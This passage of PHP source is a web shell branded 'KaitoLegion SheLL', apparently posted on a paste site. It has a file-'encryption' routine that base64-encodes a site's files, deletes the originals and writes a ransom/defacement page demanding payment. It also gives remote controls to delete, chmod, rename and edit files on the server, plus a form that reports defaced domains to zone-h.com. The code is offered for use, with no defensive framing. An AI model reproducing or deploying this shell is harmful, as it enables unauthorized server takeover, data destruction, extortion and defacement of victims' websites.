- foreach($scan as $object){
- if($object != "." && $object != ".." && $object != "$file"){
- if(unlink(".htaccess")){
- echo "<p>.htaccess (default)</p>";
- }
- $x = file_get_contents($object);
- $output = base64_encode($x);
- $open = fopen("$object.Encrypted","w");
- fwrite($open,"$output");
- if($object != "$file"){
- unlink($object);
- }
- echo "<p>$object -> Encrypted</p>";
- }
- }
- $mess = base64_decode("PGh0bWw+CjxoZWFkPgo8dGl0bGU+QWxsIFlvdXIgRmlsZXMgQXJlIEVuY3J5cHRlZDwvdGl0bGU+CiA8bGluayBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9U2FycGFuY2h8VGVrbycgcmVsPSdzdHlsZXNoZWV0Jz4KPHN0eWxlPgoqIHsKICBmb250LWZhbWlseTpTYXJwYW5jaDsKfQpib2R5IHsKICAgYmFja2dyb3VuZDpibGFjazsKfQpzcGFuIHsKICBjb2xvcjpjeWFuOwp9CnB7CiAgY29sb3I6d2hpdGU7CiAgZm9udC13ZWlnaHQ6Ym9sZDsKfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8Y2VudGVyPgo8aW1nIHNyYz0naHR0cHM6Ly9pLmliYi5jby9WbXQxWXl4LzIwMTkxMTA1LTExNTEzNy5qcGcnIHdpZHRoPSczMDBweCcgaGVpZ2h0PSczMDBweCc+CjxoMT48c3Bhbj5Zb3VyIFdlYnNpdGUgSGFzIEJlZW4gRW5jcnlwdGVkIDxicj4gSGFja2VkIEJ5IFBpbm95IFJvb3RTZWM8L3NwYW4+PC9oMT48YnI+CjxwPjxzcGFuPldoYXQgSGFwcGVuZWQgdG8gWW91ciBXZWJzaXRlPzwvc3Bhbj48YnI+PGJyPgpZb3VyIGltcG9ydGFudCB3ZWJzaXRlIGZpbGUgaXMgZW5jcnlwdGVkLiAKTWFueSAucGhwLCAuY3NzLCAuanMsIGFuZCBvdGhlcnMgZmlsZXMgYXJlIG5vIGxvbmdlciBhY2Nlc3NpYmxlIGJlY2F1c2UgdGhleSBhcmUgZW5jcnlwdGVkLiAKTWF5YmUgeW91IGFyZSBidXN5IGxvb2tpbmcgZm9yIHdheXMgdG8gcmVjb3ZlciB5b3VyIGZpbGVzLCAKYnV0IGRvbid0IHdhc3RlIHlvdXIgdGltZSEgCk5vIG9uZSBjYW4gZGVjcnlwdCB5b3VyIGZpbGVzIHdpdGhvdXQgb3VyIHNwZWNpYWwgZGVjcnlwdGlvbiBzZXJ2aWNlLjxicj48YnI+PHNwYW4+CkRvbid0IFRyeSB0byBEZWNyeXB0IFRoZW1zZWx2ZXMsIE9yIFlvdXIgRmlsZXMgV2lsbCBCZSBBdXRvbWF0aWNhbGx5IERlbGV0ZWQuIDwvc3Bhbj48YnI+PGJyPgpIb3cgZG8geW91IHJlc3RvcmUgeW91ciB3ZWJzaXRlPyAKT2YgY291cnNlLCB3ZSBjYW4gcmVjb3ZlciBhbGwgeW91ciBmaWxlcyBzYWZlbHkgYW5kIGVhc2lseS4gQnV0IHlvdSBkb24ndCBoYXZlIGVub3VnaCB0aW1lLgp3ZSBjYW4gc2FmZWx5IGRlY3J5cHQgYWxsIHlvdXIgd2Vic2l0ZSBmaWxlcywgaG93IGRvIHlvdSBkbyB0aGF0PyBZb3UgTXVzdCBDb250YWN0IFVzIGFuZCBQYXkuPGJyPjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Y3lhbjsnIGhyZWY9J2h0dHBzOi8vZmFjZWJvb2suY29tL3Bpbm95cm9vdHNlYy5nb3YucGgnPHNwYW4+d3d3LmZhY2Vib29rLmNvbS9waW5veXJvb3RzZWM8L3NwYW4+PC9hPgo8YnI+PGJyPgpJZiBZb3UgSGF2ZSBQYWlkIFRoZW4gQWxsIFdlYnNpdGUgRGF0YWJhc2UgRmlsZXMgV2lsbCBBdXRvbWF0aWNhbGx5IFJldHVybiBUbyBOb3JtYWwuPC9wPgo8L2NlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==");
- if(fwrite(fopen("index.html","w"),$mess) && fwrite(fopen(".htaccess","w"),"DirectoryIndex index.html\r\nErrorDocument 404 /index.html")){
- }
- break;
- case '2':
- $scandir = glob("*.Encrypted");
- foreach($scandir as $ob){
- if(unlink("index.html") && unlink(".htaccess")){
- echo "<p>index.html (default)</p>";
- echo "<p>.htaccess (default)</p>";
- }
- $f = file_get_contents($ob);
- $v = base64_decode($f);
- $o = str_replace(".Encrypted","",$ob);
- fwrite(fopen($o,"w"),$v);
- if(unlink($ob)){
- echo "<p>$ob <= Decrypted</p>";
- }
- }
- }
- }
- function makefile($path,$fname,$fscript){
- $x = fopen("$path/$fname","w");
- fwrite($x,$fscript);
- fclose($x);
- }
- function delete($dir){
- $scandir = scandir($dir);
- foreach($scandir as $object){
- if($object != "." && $object != ".."){
- unlink($dir.DIRECTORY_SEPARATOR.$object);
- }
- }
- @rmdir($dir);
- }
- /* File Table */
- function home($path){
- /* Delete */
- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
- if($_POST['type'] == 'dir'){
- $dir = $_POST['path'];
- @delete($dir);
- }
- elseif($_POST['type'] == 'file'){
- if(unlink($_POST['path'])){
- echo "<p style='color:cyan; font-size:15px;'>Deleted Done</p>";
- } else{
- echo "<body onload=alert('Can\'t Delete file')>";
- }
- }
- }
- echo "
- <table align='center'>
- <tr style='background:cyan; font-weight:bold; color:black;'>
- <td><center>Name</center></td>
- <td><center>Size</center></td>
- <td><center>Permissions</center></td>
- <td><center>Options</center></td>
- </tr>";
- echo "<tr>
- <td>..</td>
- <td><center>--</center></td>
- <td><center>";
- if(is_writable($path.'/'.$file)) echo '<p style="color:cyan;">';
- elseif(!is_readable($path.'/'.$file)) echo '<p style="color:red;">';
- echo perms($path.'/'.$file);
- if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</p>';
- echo "</center></td>
- <td><center>";
- $v = $_SERVER['PHP_SELF'];
- echo "<p style='margin-top:10px;'>";
- echo "<a href='$v?dir=$path&folder=createfile' style='padding-right:4px; font-size:15px; border:2px solid white;'>+File</a> ";
- echo "<a href='$v?dir=$path&folder=createfolder' style='padding-right:4px; font-size:15px; border:2px solid white;'>+Folder</a></p>";
- echo "</center></td></tr>";
- $scandir = scandir($path);
- foreach($scandir as $dir){
- if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
- echo "<tr>";
- echo "<td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a style='color:cyan;' href=\"?dir=$path/$dir\">$dir</a></td>";
- echo "
- <td><center>--</center></td>
- <td><center>";
- if(is_writable($path.'/'.$file)) echo '<p style="color:cyan;">';
- elseif(!is_readable($path.'/'.$file)) echo '<p style="color:red;">';
- echo perms($path.'/'.$file);
- if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</p>';
- echo "</center></td>";
- /*** Directory Option ***/
- echo "<td><center>
- <form method=\"POST\" action=\"?option&dir=$path\">
- <select name=\"opt\">
- <option value=\"\">Select</option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
- <input type=\"hidden\" name=\"name\" value=\"$dir\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
- <input type=\"submit\" value=\">\" />
- </form></center></td>";
- echo "</tr>";
- }
- /********/
- echo "<tr style='background:cyan;'><td></td><td></td><td></td><td></td></tr>";
- foreach($scandir as $file){
- if(!is_file("$path/$file")) continue;
- $size = filesize("$path/$file")/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- echo "<tr>";
- echo "<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a style='color:cyan;' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>";
- echo "<td><center>$size</center></td>
- <td><center>";
- if(is_writable($path.'/'.$file)) echo '<p style="color:cyan;">';
- elseif(!is_readable($path.'/'.$file)) echo '<p style="color:red;">';
- echo perms($path.'/'.$file);
- if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</p>';
- echo "</center></td>";
- /*** File Option ***/
- echo "<td><center>
- <form method=\"POST\" action=\"?option&dir=$path\">
- <select name=\"opt\">
- <option value=\"\">Select</option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- <option value=\"edit\">Edit</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"file\">
- <input type=\"hidden\" name=\"name\" value=\"$file\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
- <input type=\"submit\" value=\">\" />
- </form></center></td>";
- echo "</tr>";
- /********/
- }
- echo "</table>";
- /******Closed******/
- }
- function zoneh(){
- echo "
- <form method='post'>
- <label style='background:cyan; width:100px; border-radius:5px; color:black; font-weight:bold;'>Defacer:</label><br>
- <input style='width:500px; background:black; color:cyan; font-weight:bold; border:2px solid white; outline:none;' type='text' name='defacer' placeholder='Defacer Name'>
- <br>
- <label style='background:cyan; width:100px; border-radius:5px; color:black; font-weight:bold;'>Domain:</label><br>
- <textarea name='defsites' placeholder='Domains' style='width:500px; height:200px; background:black; color:cyan; font-weight:bold; border:2px solid white; outline:none;'></textarea>
- <br>
- <input value='Mirror' style='width:100px;' type='submit' name='submit'>
- </form>
- ";
- $go = $_POST['submit'];
- $defsites = explode("\r\n", $_POST['defsites']);
- $defacer = $_POST['defacer'];
- if (!empty($defsites) && ($defacer)){
- $site = 'http://www.zone-h.com/notify/single';
- $url = curl_init($site);
- curl_setopt($url, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($url, CURLOPT_POST,1);
- curl_setopt($url, CURLOPT_POSTFIELDS, 'defacer=$defacer&domain1=$defsites&hackmode=1&reason=1');
- $res = curl_exec($url);
- if($go){
- foreach($defsites as $urls){
- if(preg_match("/OK/",$res)){
- echo "<h1>$urls -> OK</h1><br>";
- } else if(preg_match("/ERROR/",$res)){
- echo "<h1 style='color:red;'>$urls -> Error<br></h1>";
- }
- }
- }
- else {
- echo "<h1 style='color:red;'>Empty Please try again</h1>";
- }
- }
- }
- copyright();
- function copyright(){
- echo "<br><br><h1>Copyright © KaitoLegion SheLL </h1>";
- echo '<a style="color:white; margin-right:15px;" class="logo" href="http://t.me/KaitoLegion"><i class="fab fa-telegram"></i></a>
- <a style="color:white; margin-right:15px;" class="logo" href="https://github.com/KaitoLegion">
- <i class="fab fa-github"></i>
- </a>
- <a style="color:white; margin-right:15px;" class="logo" href="https://www.youtube.com/KaitoLegion">
- <i class="fab fa-youtube"></i>
- </a>
- <a style="color:white; margin-right:15px;" class="logo" href="https://www.google.com/search?q=Hacked+By+Mr.KaitoX">
- <i class="fab fa-google"></i>
- </a>
- <a style="color:white; margin-right:15px;" class="logo" href="https://facebook.com/KaitoLegionOfficial">
- <i class="fab fa-facebook"></i>
- </a>';
- }
- echo "</html>";
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- $info = 'p';
- } else {
- $info = 'u';
- }
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- ?>
Add Comment
Please, Sign In to add comment